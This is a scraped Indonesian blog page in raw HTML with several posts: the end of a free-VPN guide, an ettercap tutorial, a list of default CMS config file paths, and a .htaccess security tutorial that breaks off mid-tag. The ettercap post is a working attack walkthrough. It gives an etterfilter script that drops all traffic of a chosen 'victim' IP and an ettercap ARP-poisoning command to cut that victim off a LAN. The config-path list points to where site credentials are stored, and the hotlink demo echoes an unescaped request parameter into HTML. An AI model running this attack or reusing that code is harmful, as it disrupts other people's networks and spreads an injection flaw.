href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG3QkUZfoaUxiIFumP8E0pw296ZA44ZxWNsbaOpFBYPSt3NBSJ-3Ry4mWz37qewnyDQ50-ddJsKNaq8mwRIfTSEhawP80RT1U2EqEBxT9TiQhKzpAQMswS2Mapdg3kY4I1vFbCjoMOh0A/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG3QkUZfoaUxiIFumP8E0pw296ZA44ZxWNsbaOpFBYPSt3NBSJ-3Ry4mWz37qewnyDQ50-ddJsKNaq8mwRIfTSEhawP80RT1U2EqEBxT9TiQhKzpAQMswS2Mapdg3kY4I1vFbCjoMOh0A/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div>Terakhir pilih “<b>Close</b>“.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3QEprzkZ4QJWdk3HJ3DsWiKo3Jcx7BiJV6jV3IIhOL9ffQMNzmXZFF0xeBU6i7D7sNqy1gADe2WCXosdqjRhlNS0GhZAyMsDgjB-7ifVxxUwjdvFotvE56zmQJ94XW76DROkgfGT5pIk/s1600/vpn-08-300x245.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3QEprzkZ4QJWdk3HJ3DsWiKo3Jcx7BiJV6jV3IIhOL9ffQMNzmXZFF0xeBU6i7D7sNqy1gADe2WCXosdqjRhlNS0GhZAyMsDgjB-7ifVxxUwjdvFotvE56zmQJ94XW76DROkgfGT5pIk/s1600/vpn-08-300x245.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div> Untuk melakukan proses koneksi VPN, pastikan terlebih dahulu koneksi internet anda sudah aktif. Klik pada status koneksi di system tray (pojok kanan bawah taskbar), pilih VPN xbuster404, kemudian klik “<b>Connect</b>“.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO1BmEKjnjPCZZ_CldFuPdR_z_bCAf23kr_uDGS_sp5pokfPFBKtgCgIUAR_P5ROKe15h9JH9vCbE8ysWHWz2OnBiKyHWCX0Nw5H6aLxDmrYJzXqS4QJzG54CtohgzP1z34b1kNTEJLMo/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO1BmEKjnjPCZZ_CldFuPdR_z_bCAf23kr_uDGS_sp5pokfPFBKtgCgIUAR_P5ROKe15h9JH9vCbE8ysWHWz2OnBiKyHWCX0Nw5H6aLxDmrYJzXqS4QJzG54CtohgzP1z34b1kNTEJLMo/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div> Isikan password yang ditampilkan pada web superfreevpn ke dalam kolom password, kemudian klik “<b>Connect</b>” (biarkan domain kosong).<br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitifL2cy3cKtmNbK179SXp-SN0e6VetE3Z0GPnHC6Gi0TxORziCHiSmnLdThLCnO2xFqqABJ3uYonhJ32SRhmx1Qm5b9Wp8C8LQB9S0fYl4zNHyHBnAFeJWcbNge4vO7jaDUXNGOr1Vvc/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitifL2cy3cKtmNbK179SXp-SN0e6VetE3Z0GPnHC6Gi0TxORziCHiSmnLdThLCnO2xFqqABJ3uYonhJ32SRhmx1Qm5b9Wp8C8LQB9S0fYl4zNHyHBnAFeJWcbNge4vO7jaDUXNGOr1Vvc/s1600/Capture.PNG" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div> Proses koneksi akan berlangsung, dan tunggu sampai VPN terhubung. Jika VPN telah terhubung, maka akan terlihat 2 koneksi yang connected pada status koneksi di Windows<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf_j6l8nc9BCWYzstuJCyMrwwdPWB-MY0z4y53g7sDBMzOOihVg_c4qioHPMYwjECe3Vs6tfSflAMwQgE-HWH6nMS4QjGqppPalCrCZAzXU801yvXW392LburZk_n3JQbSMk1bKclvFD8/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf_j6l8nc9BCWYzstuJCyMrwwdPWB-MY0z4y53g7sDBMzOOihVg_c4qioHPMYwjECe3Vs6tfSflAMwQgE-HWH6nMS4QjGqppPalCrCZAzXU801yvXW392LburZk_n3JQbSMk1bKclvFD8/s1600/Capture.PNG" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: justify;">Silakan browsing dengan sepuasnya! :)</div><div style="text-align: justify;">Dalam kondisi terhubung VPN, maka koneksi anda akan terenkripsi dan dapat melewati firewall atau content filtering dengan aman.</div><div style="text-align: justify;"><span style="color: black;">Fitur dari VPN ini :</span></div><blockquote><span style="color: black;"> <span style="color: white;">PPTP and OpenVPN</span></span><br /><span style="color: white;"> 100% Anonymous</span><br /><span style="color: white;"> No Logs ( Doesn't Not Log Any Activity )</span><br /><span style="color: white;"> 100% Free !</span><br /><span style="color: white;"> No Bandwidth Limits</span><br /><span style="color: white;"> Strong Encryption</span><br /><span style="color: white;"> No Restrictions</span><br /><span style="color: white;"> Smart CDN Fallback</span><br /><span style="color: white;"> Maximum Speed</span><br /><span style="color: white;"> Works on all Mobile Devices and Operating System</span> </blockquote><div class="separator" style="clear: both; text-align: center;"><span style="color: white;"></span></div><br /></div>

Cara menggunkan VPN

VPN adalah singkatan dari Virtual Private Network , yaitu sebuah cara aman untuk mengakses local area network yang berada diluar jangkauan...

Read more »

Ddos koneksi internet dengan ettercap(pengganti netcut)

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSrjMIecXrOIJTAYv6KvzGqr3XBjUGbL9ri4Swlg6gL49TXlcoi" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="269" src="http://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcSrjMIecXrOIJTAYv6KvzGqr3XBjUGbL9ri4Swlg6gL49TXlcoi" width="400" /></a></div>tutor kali ini menggunakan <span style="color: red;">backtrack</span> os<br />Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut<br />[01]. Serangan Denial of Service (DOS) ini terjadi apabila penyerang atau yang sering terdengar dengan istilah hacker ini merusak host atau sevice yang ada sehingga host atau service itu tidak dapat lagi berkomunikasi secara lancar di dalam network neighborhood-nya [03]. Perkembangan dari serangan DOS adalah DDOS. Serangan DDoS adalah jenis serangan dengan cara memenuhi trafik server situs tersebut hingga situs menjadi lambat dan susah diakses<br />[02]. Pengertian lain tentang DDOS adalah mengirimkan data secara terus menerus dengan menggunakan satu komputer tidak begitu efektif karena biasanya sumber daya server yang diserang lebih besar dari komputer penyerang [04]. Dari beberapa pengertian di atas dapat disimpulkan bahwa serangan DDOS (Denial Distribute Of Service) sangat merugikan bagi yang diserang, karena serangan ini dapat menghambat kerja pengguna dari komputer korban. Dimana komputer korban menjadi lambat dan sulit untuk diakses akibat dari penuhnya trafik dalam komputer tersebut  Ok Saya rasa Sudah jelas...ok<br /><br />pertama kita cek dulu korbannya yang akan kita serang<br />buka terminal ketikkan perintah<br />arp-a<br /><div class="separator" style="clear: both; text-align: center;"></div><br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYJwU-kYnXSEeWSi7NhTewZqO4eP8QDPK-Ky5Gcb242qag3t6EvhasvdJIXeQ80H7xf3Otyo5zx3xX5HBTG6SFmfhMyZ3zccKkTLSfRpB1poB0lmZLDtd-wXIcHRGDaHJwMbTDEE-bdcU/s1600/Selection_001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYJwU-kYnXSEeWSi7NhTewZqO4eP8QDPK-Ky5Gcb242qag3t6EvhasvdJIXeQ80H7xf3Otyo5zx3xX5HBTG6SFmfhMyZ3zccKkTLSfRpB1poB0lmZLDtd-wXIcHRGDaHJwMbTDEE-bdcU/s1600/Selection_001.png" /></a></div><br /><br /><br /><br /><br />untuk melihat mangsa<br /><br />disini korban saya IP 192.168.1.15<br /><br />langsung saja<br /><br /><blockquote class="tr_bq">gedit </blockquote><br />1. Buka Gedit (atau file editor apapun) kemudian tulis perintah di bawah ini<br /><blockquote class="tr_bq"><pre class="cpp" name="code">if(ip.src == '<span style="color: red;">IP_TARGET</span>' || ip.dst == '<span style="color: red;">IP_TARGET</span>') {<br />drop();<br />kill();<br />msg("DDOS www.cybersquads.com !!\n");<br />}</pre></blockquote><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzGr7kzvdUeKj5mb-GwVPsgaM5fAGaW_8abQ_9bLAjV0sI8rLEeyjH7jTYX1-hUAYffjhjEHeFmCQ3nUK860S1HDk325r70sfLcohrXZqC-lDjv7W38qStMfiyixvoXWtlmu4u-cKBQO4/s1600/Selection_002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzGr7kzvdUeKj5mb-GwVPsgaM5fAGaW_8abQ_9bLAjV0sI8rLEeyjH7jTYX1-hUAYffjhjEHeFmCQ3nUK860S1HDk325r70sfLcohrXZqC-lDjv7W38qStMfiyixvoXWtlmu4u-cKBQO4/s1600/Selection_002.png" /></a></div><br /><br />ganti IP_TARGET dengan IP Address target yang akan diserang kemudian simpan dengan nama<span style="color: lime;"> dos.eft</span><br /><br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><br /><span style="color: red;"> </span>2. Convert file dos.eft menjadi <span style="color: lime;">dos.ef</span><br /><blockquote class="tr_bq"><pre class="cpp" name="code">etterfilter dos.eft -o dos.ef</pre></blockquote><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5TWL20I8MRJuraXOMsVGAuf2K8kL-1WjgKws31njeg8gRvC6yHX-70DqProx9WjZV3FUX7uW0sGXrww36Z3fc6jYj6RBvTv3nDzblNIThD9DYjipne2ur_o6UcC2JVHn_GKl7zeznFN0/s1600/Selection_003.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5TWL20I8MRJuraXOMsVGAuf2K8kL-1WjgKws31njeg8gRvC6yHX-70DqProx9WjZV3FUX7uW0sGXrww36Z3fc6jYj6RBvTv3nDzblNIThD9DYjipne2ur_o6UcC2JVHn_GKl7zeznFN0/s1600/Selection_003.png" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div> 3. Lakukan serangan<br /><blockquote class="tr_bq">ettercap -T -q -F /root/dos.ef -M ARP /ip_targetmu/ // -i kartu_wireles/lanmu</blockquote><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim9ogI5zgXJ1mzvPf8h3NUPqBBKO-j0CtphTzTcX3Kluq0kUiudlXXUxCW52pvYIV6zE0B1ODX-V3o89hP4DEbyLLrxqFmqyNQlSmk9Ze687H7-d9wOLE5CEOPV1RHFGR5Klkhb6ffEOc/s1600/Selection_004.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEim9ogI5zgXJ1mzvPf8h3NUPqBBKO-j0CtphTzTcX3Kluq0kUiudlXXUxCW52pvYIV6zE0B1ODX-V3o89hP4DEbyLLrxqFmqyNQlSmk9Ze687H7-d9wOLE5CEOPV1RHFGR5Klkhb6ffEOc/s1600/Selection_004.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br />Jika target/korban mengakses internet maka rto alias not respon<br /><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9cgGsoFIooHGW-kYG5vdDi5syTgDuV3kn13utdGcU5b1cyXssd32NyKY0qe1zMx-VFhIl87yrAUMa36s9GJiNsu88iBxIyv6IM6ImgtcyfPBoOhLGOrJv1FCsXzNxCsuUJNEv_ymRAKc/s1600/Selection_005.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9cgGsoFIooHGW-kYG5vdDi5syTgDuV3kn13utdGcU5b1cyXssd32NyKY0qe1zMx-VFhIl87yrAUMa36s9GJiNsu88iBxIyv6IM6ImgtcyfPBoOhLGOrJv1FCsXzNxCsuUJNEv_ymRAKc/s1600/Selection_005.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><br />Maka ip tersebut tidak bisa di gunakan lagi.Dan ini adalah hasil dari kelakuan kalian<br /><br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIqto0fbIn7CLglsh5PyIsdGIAVf7gSeXhGBAfW2sk51RSCTbRFh5jEdxue0SRA2ls6p1D3kmGxf0z2YmNlH_qqGlx6dYoaMsxEYAaEv3Pd7Q-JDSMJyQ-Yqt3FfDPGXW4g21xt931W0o/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIqto0fbIn7CLglsh5PyIsdGIAVf7gSeXhGBAfW2sk51RSCTbRFh5jEdxue0SRA2ls6p1D3kmGxf0z2YmNlH_qqGlx6dYoaMsxEYAaEv3Pd7Q-JDSMJyQ-Yqt3FfDPGXW4g21xt931W0o/s1600/Capture.PNG" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg23bANzL8pIK7LMH-kJJHmoFHj95EQpKaDqXxTON3SfCoIsNH1J4dJf2JdaRJ5nthLSsSbhn5Ch_wAP8Knmg6O2N30mUXu7UQIkY2N8ZDwW_YKhfqp0sNFRIuj7xryVNa2gWc3auk8tec/s400/akibat+dari+serangan.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>sekian tutor dari saya<br /><br />terima kasih ................<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh71J-c6Td_BDk861tpUokTzdMpuL4en4nd7Rov2KlEO-0XjeYJK3n3AAwTJrkTAyHwyNGN5AWsAxrrONJsvVJk2xV4XGvG0nQoX_YVmtDyAizG_f6lXMuf992avFMgmZVPznvmm1j_hRk/s400/windows+7+juga+KO.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div></div>

Ddos koneksi internet dengan ettercap(pengganti netcut)

tutor kali ini menggunakan backtrack os Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, seh...

Read more »

Letak config pada CMS

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://aldyputra.net/wp-content/uploads/2011/11/Beberapa-Jenis-Content-Management-System-Atau-CMS.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://aldyputra.net/wp-content/uploads/2011/11/Beberapa-Jenis-Content-Management-System-Atau-CMS.jpg" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div>Seperti kita ketahui di mesin Web ada satu file yang dari ukuran cukup kecil tapi punya fungsi begitu fital yaitu file config/configuration/setting. Bisa dibilang file ini merupakan salah satu kendali dari mesin Web. Di dalamnya tersimpan pengaturan konfigurasi, seperti pengaturan database, Security Keys, setingan cookies domain, Disable Post Revisions, cache, pengaturan alokasi memori untuk php dan masih buanyak setingan lainnya<br />Tapi disini kita akan membahas letak config tersebut pada tiap2 cms<br /><br />berikut ini beberapa config cms beserta letaknya (default) :<br /><br /><blockquote class="tr_bq"><span style="color: red;">vBulletin</span> -- /includes/config.php<br /><span style="color: red;">IPB</span> -- /conf_global.php<br /><span style="color: red;">MyBB</span> -- /inc/config.php<br /><span style="color: red;">Phpbb </span>-- /config.php<br /><span style="color: red;">Php Nuke</span> -- /config.php<br /><span style="color: red;">Php-Fusion</span> -- config.php<br /><span style="color: red;">SMF</span> -- /Settings.php<br /><span style="color: red;">Joomla</span> -- configuration.php , configuration.php-dist<br /><span style="color: red;">WordPress</span> -- /wp-config.php<br /><span style="color: red;">Drupal </span>-- /sites/default/settings.php<br /><span style="color: red;">Oscommerce</span> -- /includes/configure.php<br /><span style="color: red;">e107</span> -- /e107_config.php<br /><span style="color: red;">Seditio</span> -- /datas/config.php</blockquote><br />semoga bermanfaat </div>

Letak config pada CMS

Seperti kita ketahui di mesin Web ada satu file yang dari ukuran cukup kecil tapi punya fungsi begitu fital yaitu file config/configuration/...

Read more »

Tutorial penggunaan .htaccess

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPodythIIBLk3LaXZrI9gx8U17mgJwq_LW-zVV0tVnrJTAqBF8B96vW6nJbhYOb_wM6xL5XcSrkk2hPR512DBkzALD2m8i5yA1TlTaiB2vvyt7JIx6cLGUwe2IDTBga3FT9vaJr8cBzn4/s1600/htaccess.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPodythIIBLk3LaXZrI9gx8U17mgJwq_LW-zVV0tVnrJTAqBF8B96vW6nJbhYOb_wM6xL5XcSrkk2hPR512DBkzALD2m8i5yA1TlTaiB2vvyt7JIx6cLGUwe2IDTBga3FT9vaJr8cBzn4/s1600/htaccess.gif" /></a></div>File .htaccess adalah file teks ASCII sederhana yang terletak di direktori www atau di sebuah sub direktori folder www. Anda bisa membuat atau mengedit file ini di Text Editor (Notepad) dan kemudian meng-uploadnya ke direktori yang ingin anda ubah setting-nya. Pastikan bahwa file tersebut diupload dalam format<span style="color: orange;"> ASCII</span> bukan <span style="color: orange;">BINARY</span>, dan pastikan file permission untuk file tersebut telah diset menjadi 644 (rw-r-r–). Hal tersebut memungkinkan server untuk mengakses file tapi mencegah user untuk mengakses file tersebut dari browser mereka.<br /><br />ntu sedikit penjelasan tentang .htaccess dan pada trit cupu ane kali ini ane ga akan banyak menjelaskan tentang apa dan bagaimana itu file .htaccess, tp beberapa kegunaan file ini yang akan bermanfaat <br />untuk Security. Okeh langsung cruutz aja yak.. <img alt="Ngakak" border="0" src="http://hacker-newbie.org/images/kucink/ngakak.gif" style="vertical-align: middle;" title="Ngakak" /><br /><br /><span style="font-weight: bold;"><span style="color: deepskyblue;">1. Mencegah Akses Ke .htaccess</span></span><br />Tambahkan baris berikut untuk menambah keamanan dari file .htaccess sehingga apabila ada usaha untuk mengakses file tersebut akan muncul pesan kesalahan 403. Tentu saja tidak lupa memberi-kan file permissionnya menjadi 644.<br /><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span><br /><blockquote class="tr_bq"><code><Files .htaccess></code><br /><code> order allow,deny</code><br /><code> deny from all</code><br /><code></Files></code></blockquote><br /><span style="font-weight: bold;"><span style="color: deepskyblue;">2. Mencegah Akses Ke File Tertentu</span></span><br />Untuk membatasi akses ke file tertentu kita dapat menggunakan perintah berikut.Ganti nama rahasia.txt menjadi sesuai dengan kebutuhan anda.Nantinya file tersebut akan disembunyikan dan apa-bila terdapat usaha untuk mengakses file tersebut akan terjadi error 403.<br /><br /><blockquote class="tr_bq"><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span><code><files rahasia.txt></code><br /><code> order allow,deny</code><br /><code> deny from all</code><br /><code></files></code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><br /><span style="font-weight: bold;"><span style="color: deepskyblue;">3. Mencegah Akses Ke Banyak File</span></span><br />Kita bisa mengganti beberapa extension dibawah sesuai dengan yang kita butuhkan.<br /><br /><blockquote class="tr_bq"><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span><code><FilesMatch "\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$"></code><br /><code> Order Allow,Deny</code><br /><code> Deny from all</code><br /><code></FilesMatch></code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">4. Mencegah User Melakukan Browsing Pada Setiap Direktori Server Kita</span></span><br /><blockquote class="tr_bq"><code>Options All -Indexes</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">4.1. Mengijinkan User Melakukan Browsing</span></span><br />Jika mengijinkan user untuk melakukan browsing pada “direktori yang telah kita tentukan” cukup menambahkan perintah seperti dibawah ini.(Cukup tempatkan file .htaccess pada folder yang diinginkan)<br /><br /><blockquote class="tr_bq"><code>Options All +Indexes</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">4.2. Mencegah User Melakukan Browsing Tanpa Pesan Error 403</span></span><br /><blockquote class="tr_bq"><code>IndexIgnore *</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">4.3. Mencegah User Melakukan Browsing Dengan Membatasi Extension File.</span></span><br /><blockquote class="tr_bq"><code>IndexIgnore *.wmv *.mp4 *.avi *.etc</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">5. Mengubah Index File</span></span><br />Secara default apabila kita membuat beberapa file dan salah satunya terdapat index file, maka file tersebutlah yang akan dijalankan terlebih dahulu. Dengan menggunakan .htaccess kita dapat merubah-nya menjadi nama file yang kita inginkan.<br /><br /><blockquote class="tr_bq"><code>DirectoryIndex penggantiindex.php</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">6. Menyamarkan Extension PHP</span></span><br /><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span>Ini sangat berguna untuk menambahkan keamanan pada aplikasi PHP yang anda buat. anda bisa mengganti extension php pada aplikasi anda dengan extension yang telah anda daftarkan, Mungkin “LOL”, “hacking”, dll. Nah dengan kode berikut, file tersebut akan tetap dibaca sebagai file PHP. Sedikit catatan, biasanya saya mencari file httpd.conf dan menambahkan extensionnya disitu, akan tetapi inilah kelebihan .htaccess. Kita tidak perlu merubah settingan asli pada Apache.<br /><br /><blockquote class="tr_bq"><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span><code>AddType application/x-httpd-php .hacking</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">7. Membatasi Akses Ke LAN (Local Area Network)</span></span><br /><blockquote class="tr_bq"><code><Limit GET POST PUT></code><br /><code> order deny,allow</code><br /><code> deny from all</code><br /><code>allow from 192.168.1.5</code><br /><code></Limit></code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><br /><span style="font-weight: bold;"><span style="color: deepskyblue;">7.1. Bisa Menambahkan Domain</span></span><br /><blockquote class="tr_bq"><code><Limit GET POST PUT></code><br /><code> order allow,deny</code><br /><code> allow from all</code><br /><code> deny from 192.168.1.5</code><br /><code> deny from .*domain\.com.*</code><br /><code></Limit></code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote> <span style="font-weight: bold;"><span style="color: deepskyblue;">8. Mencegah Hotlinking</span></span><br />Hotlinking merupakan pencurian bandwidth melalui penggunaan sebuah image yang akan dipasang pada suatu halaman pada website lain, sehingga bandwidth dari website asal akan tersedot bila image yang dipasang pada website lain itu dibuka.Atau secara simple bisa diterjemahkan, ada orang lain yang mengkopi link image dari website kita dan menempatkannya pada website miliknya.Memang tidak terlalu banyak memakan bandwith akan tetapi hal ini cukup mengganggu dan mungkin kita bisa memberi sedikit pelajaran kepada si Pelaku :D. Kita akan melakukan beberapa praktek ringan.<br />a. Ketik kode berikut dan simpan dengan nama gambar.php<br /><blockquote class="tr_bq"><div class="title">PHP Code:</div><code><span style="color: #0000bb;"><?php</span></code><br /><code><span style="color: #0000bb;">  $pic </span><span style="color: #007700;">= </span><span style="color: #0000bb;">strip_tags</span><span style="color: #007700;">( </span><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'pic'</span><span style="color: #007700;">] );</span></code><br /><code><span style="color: #007700;">  if ( ! </span><span style="color: #0000bb;">$pic </span><span style="color: #007700;">) {</span></code><br /><code><span style="color: #007700;">    die(</span><span style="color: #dd0000;">"Gambar Tidak Ditemukan"</span><span style="color: #007700;">);</span></code><br /><code><span style="color: #007700;">  }</span></code><br /><code><span style="color: #007700;"></span><span style="color: #0000bb;">?></span></code><br /><code><span style="color: #0000bb;"></span><html></code><br /><code><head></code><br /><code><title><span style="color: #0000bb;"><?php </span><span style="color: #007700;">echo(</span><span style="color: #0000bb;">$pic</span><span style="color: #007700;">); </span><span style="color: #0000bb;">?></span></title></code><br /><code></head></code><br /><code><body></code><br /><code><p></code><br /><code>  <img src="/<span style="color: #0000bb;"><?php </span><span style="color: #007700;">echo(</span><span style="color: #0000bb;">$pic</span><span style="color: #007700;">); </span><span style="color: #0000bb;">?></span>" alt="Test Hotlinking"></code><br /><code></p></code><br /><code></body></code><br /><code></html> </code></blockquote>b. Siapkan gambar dengan nama terserah.jpg<br />c. Upload kedua file tersebut ke server hosting ente.<br />d. Buka browser dan ketik URL sebagai berikut<br /><span style="font-weight: bold;">http://websiteente.com/gambar.php?pic=terserah.jpg</span><br /><br /><div class="separator" style="clear: both; text-align: center;"></div>Bila hanya seperti ini orang lain bisa saja melakukan Copy Image URL untuk menampilkannya di website miliknya dg kode bgini:<br /><span style="font-weight: bold;">http://websiteente.com/terserah.jpg</span><br />Nah untuk mencegah hal itu terjadi maka kita harus menyiapkan file .htaccess yang berisi baris-baris seperti ini:<br /><blockquote class="tr_bq"><code>RewriteEngine On<br />RewriteCond %{REQUEST_FILENAME} .*jpg$|.*gif$|.*png$ [NC]<br />RewriteCond %{HTTP_REFERER} !^$ <br />RewriteCond %{HTTP_REFERER} !websitekamu\.com [NC] <br />RewriteCond %{HTTP_REFERER} !websiteteman\.com [NC]<br />RewriteCond %{HTTP_REFERER} !google\. [NC] <br />RewriteCond %{HTTP_REFERER} !search\?q=cache [NC]<br />RewriteRule (.*) /gambar.php?pic=$1</code> </blockquote>Maka ketika seseorang melakukannya lagi maka dia tidak akan mendapatkan hasil apa-apa.<br /><span style="font-weight: bold;"><span style="color: deepskyblue;">9. Memberikan Password Pada File</span></span><br /><blockquote class="tr_bq"><code><Files rahasia.php></code><br /><code>AuthType Basic</code><br /><code>AuthName "Prompt"</code><br /><code>AuthUserFile /home/path/.htpasswd</code><br /><code>Require valid-user</code><br /><code></Files></code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">9.1. Memberikan Password Pada Banyak File</span></span><br /><blockquote class="tr_bq"><code><FilesMatch "^(execute|index|secure|insanity|biscuit)*$"><br />AuthType basic<br />AuthName "Development"<br />AuthUserFile /home/path/.htpasswd<br />Require valid-user<br /></FilesMatch></code></blockquote><br /><span style="font-weight: bold;"><span style="color: deepskyblue;">9.2. Memberikan Password Pada Direktori Dimana .htaccess Berada</span></span><br /><blockquote class="tr_bq"><code>resides<br />AuthType basic<br />AuthName "This directory is protected"<br />AuthUserFile /home/path/.htpasswd<br />AuthGroupFile /dev/null<br />Require valid-user</code></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">10. Otomatis Memberikan CHMOD Kepada Setiap File</span></span><br /><blockquote class="tr_bq"><code>chmod .htpasswd files 640</code><br /><code>chmod .htaccess files 644</code><br /><code>chmod php files 600</code><span style="font-weight: bold;"><span style="color: deepskyblue;"> </span></span></blockquote><span style="font-weight: bold;"><span style="color: deepskyblue;">11. Melindungi Dari Serangan DOS ( Denial Of Service ) Dengan Membatasi Upload File</span></span><br />Ini adalah salah satu metode sederhana yang bisa kita gunakan untuk mencegah serangan DOS. Disini kita membatasi ukuran upload sebesar 10240000 byte yang setara dengan 10 mb.<br /><br /><blockquote 